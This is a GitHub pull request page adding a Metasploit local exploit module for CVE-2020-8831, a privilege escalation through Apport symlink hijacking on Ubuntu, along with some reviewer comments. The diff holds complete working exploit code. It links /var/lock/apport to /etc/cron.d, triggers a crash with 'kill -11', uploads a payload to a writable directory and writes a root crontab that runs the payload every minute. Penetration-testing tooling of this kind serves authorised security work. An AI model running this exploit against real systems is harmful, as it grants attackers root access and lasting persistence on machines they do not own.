-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add Apport Symlink Hijacking: CVE-2020-8831 #20037
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 11 commits
edc187a
6854dc0
f8f0ac5
9ffec60
6112b1e
a1dfc8a
4838131
417c1bb
18a94bb
8cef31f
68de77e
689bfdb
6055625
68683c3
3868607
1bd3a4a
6d52e90
ec93425
2417f58
631bdf6
31bfb04
cc7c14e
43cdca1
8735ab6
fce7505
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,160 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| Rank = NormalRanking | ||
|
|
||
| prepend Msf::Exploit::Remote::AutoCheck | ||
| include Msf::Post::Linux::System | ||
| include Msf::Post::Linux::Kernel | ||
| include Msf::Post::File | ||
| include Msf::Exploit::EXE | ||
|
|
||
| def initialize(info = {}) | ||
| # other places besides crontab | ||
| # /etc/init.d | ||
| # ~/.bashrc | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', | ||
| 'Description' => %q{ | ||
| On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable | ||
| to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, | ||
| an attacker who can create a symlink to a privileged directory via /var/lock/apport will be | ||
| able to create files with global 0777 permissions. This module exploits this weaknes by creating a | ||
| symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with | ||
| elevated permissions. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'gardnerapp' | ||
gardnerapp marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| ], | ||
| 'References' => [ | ||
| [ | ||
| 'URL', 'https://nostarch.com/zero-day', # pg. 59 | ||
| 'URL', 'https://ubuntu.com/security/CVE-2020-8831', | ||
| 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831' | ||
| ] | ||
gardnerapp marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| ], | ||
| 'Platform' => ['linux'], | ||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Linux_Binary', | ||
| { | ||
| 'Arch' => [ARCH_AARCH64, ARCH_X64] | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux_Command', | ||
| { | ||
| 'Arch' => ARCH_CMD | ||
| } | ||
| ] | ||
| ], | ||
| 'Privileged' => false, | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Shouldn't this be |
||
| 'DisclosureDate' => '2 April 2020', | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
| register_options [ | ||
| OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), | ||
|
||
| OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]), | ||
gardnerapp marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *']) | ||
| ] | ||
| end | ||
|
|
||
| def check | ||
| # If you are testing the module apport needs to be reinstalled on boot every time with | ||
| # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb | ||
| # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/cron.d/lock && unlink /var/lock/apport -> must be run after each subsequent test! | ||
| return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is this because we destroy the Apport installation, or because Apport is non-permanent? |
||
|
|
||
| # Check apport version | ||
| if !command_exists?('apport-cli') | ||
| return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') | ||
| end | ||
|
|
||
| apport = cmd_exec('apport-cli --version').to_s | ||
|
|
||
| return CheckCode::Detected('Unable to determine apport version') if apport.blank? | ||
|
|
||
| # todo determine if prior versions of apport are vulnerable | ||
| apport_version = Rex::Version.new(apport.split('-').first) | ||
|
|
||
| vulnerable_version = Rex::Version.new('2.20.11') | ||
|
|
||
| if apport_version == vulnerable_version | ||
| vprint_good("Apport appears to be vulnerable.") | ||
| return CheckCode::Appears | ||
| end | ||
|
|
||
| CheckCode::Safe | ||
| end | ||
|
|
||
| # Crash Apport and hijack a symlink | ||
| # this will creat a rwx /etc/cron.d/lock owned by root | ||
| def hijack_apport | ||
|
|
||
| print_status("Creating symlink...") | ||
| link = cmd_exec ('ln -s /etc/cron.d /var/lock/apport') | ||
| print_status(link) | ||
gardnerapp marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| # Create crash and trigger apport | ||
| print_status("Triggering crash...") | ||
| cmd_exec 'sleep 10s & kill -11 $!' | ||
|
|
||
| @cron = '/etc/cron.d/lock' | ||
|
|
||
| # Make sure it's writable and owned by root | ||
| unless exist?(@cron) | ||
| fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.') | ||
| else | ||
| print_good("Successfully created /etc/cron.d/lock") | ||
| end | ||
| end | ||
|
|
||
| def write_payload | ||
| print_status 'Uploading payload..' | ||
|
|
||
| payload_dir = datastore['Writable_Dir'] | ||
|
|
||
| payload_dir += '/' unless payload_dir.ends_with? '/' | ||
|
|
||
| payload_file = datastore['Payload_Filename'] | ||
gardnerapp marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
|
|
||
| @payload_dest = "#{payload_dir}#{payload_file}" | ||
|
|
||
| # create the payload | ||
| if target.arch.first == ARCH_CMD | ||
| payload = payload.encoded | ||
| upload_and_chmodx @payload_dest, payload | ||
gardnerapp marked this conversation as resolved.
Outdated
Show resolved
Hide resolved
|
||
| else | ||
| upload_and_chmodx @payload_dest, generate_payload_exe | ||
| end | ||
| end | ||
|
|
||
| def write_cron | ||
| cron_interval = datastore['CRON_INTERVAL'] | ||
| data = "#{cron_interval} root #{@payload_dest}\n" | ||
| write_file(@cron, data) | ||
| # crontab won't execute as root if group/other is writable | ||
| print_good "Successfully wrote crontab!" | ||
| end | ||
|
|
||
| def exploit | ||
gardnerapp marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| hijack_apport | ||
|
|
||
| write_payload | ||
|
|
||
| write_cron | ||
| end | ||
| end | ||
Uh oh!
There was an error while loading. Please reload this page.